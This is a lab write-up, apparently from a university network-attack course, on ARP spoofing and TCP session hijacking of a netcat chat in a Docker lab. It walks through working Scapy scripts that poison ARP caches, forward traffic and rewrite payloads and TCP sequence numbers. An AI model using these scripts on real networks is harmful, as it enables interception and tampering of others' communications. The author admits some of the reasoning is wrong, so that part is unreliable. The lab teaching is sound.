一、前言

1. 实验环境

任意两台相互能通信的机器HostA、HostB+一台攻击机HostM。
本文在Ubuntu上创建3个docker。
IP_A=“192.168.60.2”
IP_B=“192.168.60.4”
MAC_A=‘02:42:c0:a8:3c:02’
MAC_M=‘02:42:c0:a8:3c:03’
MAC_B=‘02:42:c0:a8:3c:04’

2. 攻击对象

攻击nc连接中,A向B发送数据的过程。

nc监听333端口:nc -lv 333
nc连接333端口:nc 192.168.60.2 333

3. 攻击目的

将A向B发送的数据篡改为固定的字符串'U000011222_shandianchengzi\n'

4. 最终效果

左侧是HostA的面板,右侧是HostB的面板。
其中HostA向HostB发送的每一句话都被篡改成'U000011222_shandianchengzi\n'

docker的使用

docker权限:seedubuntu(root权限)

新建docker

创建HostA:

sudo docker run -it --name=HostA --hostname=HostA --net=intranet --ip=192.168.60.2 --privileged "seedubuntu" /bin/bash

创建HostM:

sudo docker run -it --name=HostM --hostname=HostM --net=intranet --ip=192.168.60.3 --privileged "seedubuntu" /bin/bash

创建HostB:

sudo docker run -it --name=HostB --hostname=HostB --net=intranet --ip=192.168.60.4 --privileged "seedubuntu" /bin/bash

docker常用指令

打开HostM:

sudo docker start HostM

把HostM映射到bash中:

sudo docker exec -it HostM /bin/bash

查看当前docker有哪些:

sudo docker ps

关闭防火墙:

sudo iptables -F

二、正式开始

过程记录

1. ARP欺骗

最终效果:HostM能够截取到HostA、HostB之间的所有会话,并将截获到的报文发送给正确的主机,不影响原有通信。

首先,关闭ip转发:

sudo sysctl net.ipv4.ip_forward=1

然后,对HostA、B进行ARP欺骗,在HostM上运行ARP欺骗程序:

from scapy.all import *
from time import * IP_A = "192.168.60.2"
IP_B = "192.168.60.4"
MAC_M = "02:42:c0:a8:3c:03" print("SENDING SPOOFED ARP REQUEST......") ether = Ether()
ether.dst = "ff:ff:ff:ff:ff:ff"
ether.src = "02:42:c0:a8:3c:03" arp = ARP()
arp.psrc = IP_B
arp.hwsrc = MAC_M
arp.pdst = IP_A
arp.op = 1
frame1 = ether/arp
arp2 = ARP()
arp2.psrc = IP_A
arp2.hwsrc = MAC_M
arp2.pdst = IP_B
arp2.op = 1
frame2 = ether/arp2
while 1:
sendp(frame1)
sendp(frame2)
sleep(5)

最后,将截获的报文无条件转发给正确的主机,不影响正常通信,在HostM上另起终端,再运行IP报文转发程序:

from scapy.all import *

IP_A="192.168.60.2"
IP_B="192.168.60.4"
MAC_A='02:42:c0:a8:3c:02'
MAC_M='02:42:c0:a8:3c:03'
MAC_B='02:42:c0:a8:3c:04' def spoof_pkt(pkt):
try:
if(pkt.src==MAC_M):
return
if(pkt[IP].src==IP_A and pkt[IP].dst==IP_B):
pkt.src=MAC_M
pkt.dst=MAC_B
elif(pkt[IP].src==IP_B and pkt[IP].dst==IP_A):
pkt.src=MAC_M
pkt.dst=MAC_A
del(pkt.chksum)
del(pkt[TCP].chksum)
sendp(pkt)
except Exception as e:
print("[-] Error = "+str(e))
if(pkt.type!=2054 and str(e)!="load"):
pkt.show()
try:
sendp(pkt)
except Exception as e2:
pass f= "host "+IP_A+" and host "+IP_B+" and tcp"
pkt = sniff(filter=f,iface='eth0', prn=spoof_pkt)

并在AB间建立nc即时对话。
HostA运行:

nc -lv 333

HostB运行:

HostB:nc 192.168.60.2 333

检查一下是不是能正常通信,如果能,就成功了。

2. 篡改数据

2022/04/01更新留:学了计算机网络安全之后啊,
再看以前的分析过程就错漏百出。
但是……懒得改了,就这样吧。
具体的实现方案是:记录HostA发给HostB的Seq号、HostB发给HostA的Ack号,HostM用A的字符串长度计算给HostA的ACK包中的Seq和Ack,用’U000011222_shandianchengzi\n’的长度计算给HostB的Seq号,就可以伪造正确的序列号。
总之就是,意识到TCP报文来回的过程中SEQ和ACK的增长与报文长度有关,即可。
【省流】直接拖到最后,把上文的IP报文转发程序改成最后的那个程序。

方案一:直接篡改

程序

pkt[TCP].load就是数据。那么,直接令A发送给B的报文的pkt[TCP].load='U000011222_shandianchengzi\n',是否可行呢?
我们在框架中添加这一行,并观察现象。

from scapy.all import *

IP_A="192.168.60.2"
IP_B="192.168.60.4"
MAC_A='02:42:c0:a8:3c:02'
MAC_M='02:42:c0:a8:3c:03'
MAC_B='02:42:c0:a8:3c:04' def spoof_pkt(pkt):
try:
if(pkt.src==MAC_M):
return
if(pkt[IP].src==IP_A and pkt[IP].dst==IP_B):
pkt.src=MAC_M
pkt.dst=MAC_B
pkt[TCP].load='U000011222_shandianchengzi\n' #new
elif(pkt[IP].src==IP_B and pkt[IP].dst==IP_A):
pkt.src=MAC_M
pkt.dst=MAC_A
del(pkt.chksum)
del(pkt[TCP].chksum)
sendp(pkt)
except Exception as e:
print("[-] Error = "+str(e))
if(pkt.type!=2054 and str(e)!="load"):
pkt.show()
try:
sendp(pkt)
except Exception as e2:
pass f= "host "+IP_A+" and host "+IP_B+" and tcp"
pkt = sniff(filter=f,iface='eth0', prn=spoof_pkt)

现象

当输入的数据长度与这个字符串长度相同时,比如输入"U100010100_shandianchengzi\n",可见B中显示的是被篡改后的内容。如下图:
(字符串涉及个人隐私信息,因此将它涂掉了)

但当输入的数据长度与这个字符串长度不相同时,比如输入"test\n",B中没有显示。

查看wireshark抓包结果,可见最末尾的数据被覆盖成了"U1000",并且可以看到报文的转发是正常进行的,只是B对这个报文没有任何的反应:

初次猜测这是因为换行符号被覆盖。于是将希望篡改的字符串修改成"U100010100_shandianchengzi\n",重新测试,输入"U100010100_shandianchengzi\n"进行测试。发现B中能够成功接收到不带换行的"U100010100_shandianchengzi\n",如下图:

因此可以排除通讯会因为换行符停滞

方案二:修改数据长度

程序

注意到能发出去的报文的数据长度都是有限的,正好IP层有个len属性pkt[IP].len和报文长度息息相关。因此从c语言的角度猜测:将load替换成更长的字符串,会导致报文结尾或开头的某个特殊字符被覆盖,从而导致报文异常。

那么,如果load被替换成较短的字符串,后续的报文不就不会收到影响了吗?
因此输入更长的字符串"U100010100_shandianchengziiiiiiii\n"。但是此时wireshark中竟然连新伪造的tcp包都观察不到了。

因此,怀疑实际长度比len短的tcp报文会出错。

综上,推断出,报文中某个特定值会用来判断报文的正确性,这个特定值很可能就是IP层的报文长度。
于是修改程序,将len长度恒定正确报文长度79 ( 这个79是包括ip和tcp两层的长度,具体的值可以在wireshark中看到,或者在程序中添加pkt.show()观察到 ) 。
添加一行pkt[IP].len=79。就在刚刚加的那行下面添加就行。

现象

再次随便输入任意数据测试。使用短数据"test"时,发现,虽然能够顺利地欺骗一次HostB,但是A发送的数据始终会被M篡改,B响应的报文对应的数据长度永远是24,而非发送长度。因此A无法接受B对它发出的响应,A会继续给B发送报文,导致所以没办法继续输入数据进行欺骗,如下图:

使用长数据"U100010100_shandianchengzii\n"时,B中则显示了两次被篡改的字符串。wireshark中表示该长数据被分成了两个tcp包进行发送,第一个发"U100010100_shandianchengzii",第二个发"\n"。由于第二个短数据包的存在,通讯又卡住了。
如下图(3773,3777表示两个tcp分包,此后黑色报文表示A持续请求和B持续回应):

既然A不能接受B的回应是因为长度原因,那干脆放弃攻击目的呗,把长度不匹配的字符串暂时改成长度一致的字符串,来保证通讯不卡死。添加判断条件76,如果长度小于等于76则取newdata[0:len-1]+‘\n’。

重新测试。输入任意长度k的数据任意次数时,在HostB上可以显示(k / 76)个被篡改成功的数据,并显示长度为(k mod 76)字符串节选,如下图:

至此,已经完成了一个篡改了数据、不过分干扰通信的程序。

结束……


了吗?

怎么可能,这根本就不是我想要的。

好的,继续。

方案三:修改序列号

程序

假设攻击者需要将每次传输的数据都替换成’U11112233\n’,长度为10。

了解到tcp的三次握手,并补充了一下tcp报文中参数的意思、了解了ACK风暴之后,我意识到报文长度还会影响seq和ack。

其中一篇文章写得很好,我摘录一部分对我有启发的片段,我能找到的最早的链接是https://blog.csdn.net/maray/article/details/2937456

TCP协议的序列号
现在来讨论一下有关TCP协议的序列号的相关问题。在每一个数据包中,都有两段序列号,它们分别为: SEQ:当前数据包中的第一个字节的序号 ACK:期望收到对方数据包中第一个字节的序号 假设双方现在需要进行一次连接:

S_SEQ:将要发送的下一个字节的序号

S_ACK:将要接收的下一个字节的序号

S_WIND:接收窗口

//以上为服务器(Server)

C_SEQ:将要发送的下一个字节的序号

C_ACK:将要接收的下一个字节的序号

C_WIND:接收窗口
//以上为客户端(Client)
它们之间必须符合下面的逻辑关系,否则该数据包会被丢弃,并且返回一个ACK包(包含期望的序列号)。

C_ACK <= C_SEQ <= C_ACK + C_WIND

S_ACK <= S_SEQ <= S_ACK + S_WIND
如果不符合上边的逻辑关系,就会引申出一个“致命弱点”,具体请接着往下看。
致命弱点

这个致命的弱点就是ACK风暴(Storm)。当会话双方接收到一个不期望的数据包后,就会用自己期望的序列号返回ACK包;而在另一端,这个数据包也不是所期望的,就会再次以自己期望的序列号返回ACK包……于是,就这样来回往返,形成了恶性循环,最终导致ACK风暴。比较好的解决办法是先进行ARP欺骗,使双方的数据包“正常”的发送到攻击者这里,然后设置包转发,最后就可以进行会话劫持了,而且不必担心会有ACK风暴出现。当然,并不是所有系统都会出现ACK风暴。比如Linux系统的TCP/IP协议栈就与RFC中的描述略有不同。注意,ACK风暴仅存在于注射式会话劫持。

TCP会话劫持过程

假设现在主机A和主机B进行一次TCP会话,C为攻击者(如图2),劫持过程如下:

A向B发送一个数据包

SEQ (hex): X ACK (hex): Y FLAGS: -AP— Window: ZZZZ,包大小为:60

B回应A一个数据包

SEQ (hex): Y ACK (hex): X+60 FLAGS: -AP— Window: ZZZZ,包大小为:50

A向B回应一个数据包

SEQ (hex): X+60 ACK (hex): Y+50 FLAGS: -AP— Window: ZZZZ,包大小为:40

B向A回应一个数据包

SEQ (hex): Y+50 ACK (hex): X+100 FLAGS: -AP— Window:
ZZZZ,包大小为:30

攻击者C冒充主机A给主机B发送一个数据包

SEQ (hex): X+100 ACK (hex): Y+80 FLAGS: -AP— Window: ZZZZ,包大小为:20

B向A回应一个数据包

SEQ (hex): Y+80 ACK (hex): X+120 FLAGS: -AP— Window: ZZZZ,包大小为:10

接下来,应用在我这次会话劫持中。
假设A向B发送带LEN1=3的数据,这个报文[PSH,ACK]的相关参数记为SEQ1,ACK1。
B表示接收到时,回应一个无数据报文[ACK]给A。这个报文的相关参数记为SEQ2,ACK2。
其中SEQ2=ACK1,ACK2=SEQ1+LEN1。
为了方便记忆,这里假设SEQ2=ACK1=2,ACK2=SEQ1+LEN1=1+3=4。

倘若攻击者修改了LEN1的长度为LEN1’=10,A接收到的回应的ACK2=SEQ1+LEN1’=1+10=11,A会认为B没有回应,并继续重发[PSH,ACK]报文。相关的wireshark截图如下,可以看到序列号不对产生的后果

因此,我提前记录SEQ1=1和LEN1=3,将B回应的ACK2由11篡改为ACK2’=4,再发送给A。

from scapy.all import *
IP_A="192.168.60.2"
IP_B="192.168.60.4"
MAC_A='02:42:c0:a8:3c:02'
MAC_M='02:42:c0:a8:3c:03'
MAC_B='02:42:c0:a8:3c:04'
temp={'SEQ':0,'ACK':0,'LEN':0,'ACK2':0} #new
def spoof_pkt(pkt):
try:
if(pkt.src==MAC_M):
return
if(pkt[IP].src==IP_A and pkt[IP].dst==IP_B):
pkt.src=MAC_M
pkt.dst=MAC_B
temp['LEN']=len(pkt[TCP].load) #new
temp['SEQ']=pkt[TCP].seq #new
temp['ACK']=pkt[TCP].ack #new
pkt[IP].len=79
pkt[TCP].load='U000011222_shandianchengzi\n'
pkt.show()
elif(pkt[IP].src==IP_B and pkt[IP].dst==IP_A):
pkt.src=MAC_M
pkt.dst=MAC_A
if(pkt[TCP].seq==temp['ACK']): #new
pkt[TCP].ack=temp['SEQ']+temp['LEN'] #new
del(pkt.chksum)
del(pkt[TCP].chksum)
#pkt.show()
sendp(pkt)
except Exception as e:
print("[-] Error = "+str(e))
if(pkt.type!=2054 and str(e)!="load"):
pkt.show()
try:
sendp(pkt)
except Exception as e2:
pass f= "host "+IP_A+" and host "+IP_B+" and tcp"
pkt = sniff(filter=f,iface='eth0', prn=spoof_pkt)

现象

可此时又出现了下一个现象:下一次A向B发送数据LEN3=2时,记参数为SEQ3,ACK3。
SEQ3=ACK2=4,ACK3=SEQ2=2。
中间人攻击者依旧篡改了LEN3’=10。
然后B接收数据时,记参数为SEQ4,ACK4。
同样地,SEQ4=ACK3=SEQ2=2,ACK4=SEQ3+LEN3’=4+10=14。
让我们一起回忆一下B第一次回应未被篡改的参数:SEQ2=2,ACK2=11。
倘若你是协议设计者,仅看这两个参数,你会怎么确定接收到的数据长度呢?没错,ACK4-ACK2=3是B认为自己真正需要接收的报文长度。因此B的屏幕上仅仅回显长度为3的字符串。

以此类推,当A向B发送数据时,B中会依次显示长度为10/3/2的字符串,并且依次是:
U11112233\n
33\n
3\n
这是不符合攻击者预期的。

程序2

为了解决这一问题,显然,我们可以提前记录未被篡改的ACK2,将下一次A发送的SEQ3修改为SEQ3’=ACK2,从而保证ACK4是正确的
SEQ3’=ACK2=11,SEQ4=ACK3=SEQ2=2,ACK4=SEQ3’+LEN3’=11+10=21。
为保证A能够正确处理B的回应,攻击者篡改ACK4’=SEQ3+LEN3=4+10=14。

为了验证可行性,我们再模拟一轮发送和接受报文的过程。
记A向B发送第三次数据LEN5=6时的参数为SEQ5、ACK5。
SEQ5=ACK4’=14,ACK5=SEQ4=ACK3=SEQ2=2。
LEN5’=10。
B的回应参数为SEQ6、ACK6。
SEQ5’=ACK4=21
SEQ6=ACK5=2,ACK6=SEQ5’+LEN5’=21+10=31。
ACK6’=SEQ5+LEN5=14+6=20。

发现确实是可行的。

至此,就完成了一个两方各说各的、谁也不碍着谁、前言不搭后语的程序。

from scapy.all import *
IP_A="192.168.60.2"
IP_B="192.168.60.4"
MAC_A='02:42:c0:a8:3c:02'
MAC_M='02:42:c0:a8:3c:03'
MAC_B='02:42:c0:a8:3c:04'
temp={'SEQ':0,'ACK':0,'LEN':0,'ACK2':0}
def spoof_pkt(pkt):
try:
if(pkt.src==MAC_M):
return
if(pkt[IP].src==IP_A and pkt[IP].dst==IP_B):
pkt.src=MAC_M
pkt.dst=MAC_B
temp['LEN']=len(pkt[TCP].load)
temp['SEQ']=pkt[TCP].seq
if(temp['ACK2']): #new
pkt[TCP].seq=temp['ACK2'] #new
temp['ACK']=pkt[TCP].ack
pkt[IP].len=79
pkt[TCP].load='U000011222_shandianchengzi\n'
pkt.show()
elif(pkt[IP].src==IP_B and pkt[IP].dst==IP_A):
pkt.src=MAC_M
pkt.dst=MAC_A
if(pkt[TCP].seq==temp['ACK']):
temp['ACK2']=pkt[TCP].ack #new
pkt[TCP].ack=temp['SEQ']+temp['LEN']
del(pkt.chksum)
del(pkt[TCP].chksum)
#pkt.show()
sendp(pkt)
except Exception as e:
print("[-] Error = "+str(e))
if(pkt.type!=2054 and str(e)!="load"):
pkt.show()
try:
sendp(pkt)
except Exception as e2:
pass f= "host "+IP_A+" and host "+IP_B+" and tcp"
pkt = sniff(filter=f,iface='eth0', prn=spoof_pkt)

现象2

【HUST】网络攻防实践|TCP会话劫持+序列号攻击netcat对话的更多相关文章

  1. TCP会话劫持_转

    前言通常,大家所说的入侵,都是针对一台主机,在获得管理员权限后,就很是得意:其实,真正的入侵是占领整个内部网络.针对内部网络的攻击方法比较多,但比较有效的方法非ARP欺骗.DNS欺骗莫属了.但是,不管 ...

  2. <网络攻防实践> 课程总结20169216

    课程总结20169216 每周作业链接汇总 第一周作业:Linux基础入门(1-5).基本概念及操作 第二周作业:linux基础入门(6-11).网络攻防技术概述网络攻防试验环境搭构.Kali教学视频 ...

  3. 20169214 2016-2017-2 《网络攻防实践》第十一周实验 SQL注入

    20169214 2016-2017-2 <网络攻防实践>SQL注入实验 SQL注入技术是利用web应用程序和数据库服务器之间的接口来篡改网站内容的攻击技术.通过把SQL命令插入到Web表 ...

  4. 扯谈网络编程之Tcp SYN flood洪水攻击

    简单介绍 TCP协议要经过三次握手才干建立连接: (from wiki) 于是出现了对于握手过程进行的攻击.攻击者发送大量的SYN包,server回应(SYN+ACK)包,可是攻击者不回应ACK包,这 ...

  5. 安全性测试入门 (四):Session Hijacking 用户会话劫持的攻击和防御

    本篇继续对于安全性测试话题,结合DVWA进行研习. Session Hijacking用户会话劫持 1. Session和Cookies 这篇严格来说是用户会话劫持诸多情况中的一种,通过会话标识规则来 ...

  6. 2017-2018-2 20179204《网络攻防实践》第十一周学习总结 SQL注入攻击与实践

    第1节 研究缓冲区溢出的原理,至少针对两种数据库进行差异化研究 1.1 原理 在计算机内部,输入数据通常被存放在一个临时空间内,这个临时存放的空间就被称为缓冲区,缓冲区的长度事先已经被程序或者操作系统 ...

  7. 2017-2018-2 20179204《网络攻防实践》linux基础

    我在实验楼中学习了Linux基础入门课程,这里做一个学习小结. 第一节 linux系统简介 本节主要介绍了linux是什么.发展历史.重要人物.linux与window的区别以及如何学习linux. ...

  8. 2017-2018-2 20179215《网络攻防实践》seed缓冲区溢出实验

    seed缓冲区溢出实验 有漏洞的程序: /* stack.c */ /* This program has a buffer overflow vulnerability. */ /* Our tas ...

  9. 20169206 2016-2017-2 《网络攻防实践》 nmap的使用

    Part I 使用nmap扫描ubuntu靶机 先给出nmap的官方中文操作手册https://nmap.org/man/zh/,其实并不太好用,而且有时候会打不开,但至少是官方手册. 探查操作系统 ...

  10. 2017-2018-2 20179204《网络攻防实践》第十三周学习总结 python实现国密算法

    国密商用算法是指国密SM系列算法,包括基于椭圆曲线的非对称公钥密码SM2算法.密码杂凑SM3算法.分组密码SM4算法,还有只以IP核形式提供的非公开算法流程的对称密码SM1算法等. 第1节 SM2非对 ...

随机推荐

  1. CSP 初赛要点复习

    位运算 逻辑与.按位与之类的东西是不同的!"逻辑"的是判断两个数都不为 \(0\),"按位"的是判断两个数的每一个二进制位与的结果,是不同的.其他运算也类似. ...

  2. P9869 [NOIP2023] 三值逻辑 题解

    NOIP2023 T2 三值逻辑 题解 题面 思路 乍一看好像很并查集,而且不太难,但是, 注意到:按顺序运行这 \(m\) 条语句 事情并没有那么简单. 比如说如下情况: x1:=T x2:=x1 ...

  3. Common.Logging+log4net搭建项目日志框架

    原文参考链接:https://www.cnblogs.com/heys/p/5787123.html   Common.Logging+(log4net/NLog/) common logging是一 ...

  4. 解释 Git 的基本概念和使用方式

    Git是一种分布式版本控制系统,常用于管理和追踪软件开发项目的代码.以下是Git的基本概念和使用方式的解释: 仓库(Repository):Git管理代码的基本单位,可以理解为一个存储代码历史和版本信 ...

  5. Linux - centos6忘记root密码怎么办?

    Linux的root密码修改不像Windows的密码修改找回,Windows的登录密码忘记需要介入工具进行解决.CentOS6和CentOS7的密码方法也是不一样的,具体如下 1.开机按esc   2 ...

  6. 启动hive,报错 Name node is in safe mode.

    在学习过程中,过了几天再启动虚拟机,启动hadoop后再启动别的框架会报错: Exception in thread "main" java.lang.RuntimeExcepti ...

  7. mysql 无数据插入,有数据更新

    mysql的语法与sql server有很多不同,sql server执行插入更新时可以update后使用if判断返回的@@rowcount值,然后确定是否插入,mysql在语句中无法使用类似sql  ...

  8. sql server 使用sql语句导出二进制文件到本地磁盘

    sp_configure 'show advanced options', 1;GORECONFIGURE;GOsp_configure 'Ole Automation Procedures', 1; ...

  9. 分布式锁—4.Redisson的联锁和红锁

    大纲 1.Redisson联锁MultiLock概述 2.Redisson联锁MultiLock的加锁与释放锁 3.Redisson红锁RedLock的算法原理 4.Redisson红锁RedLock ...

  10. 安卓线性布局LinearLayout

    1.weight权重解读 用法归纳: 按比例划分水平方向:将涉及到的View的android:width属性设置为0dp,然后设置为android weight属性设置比例即可. ` <Line ...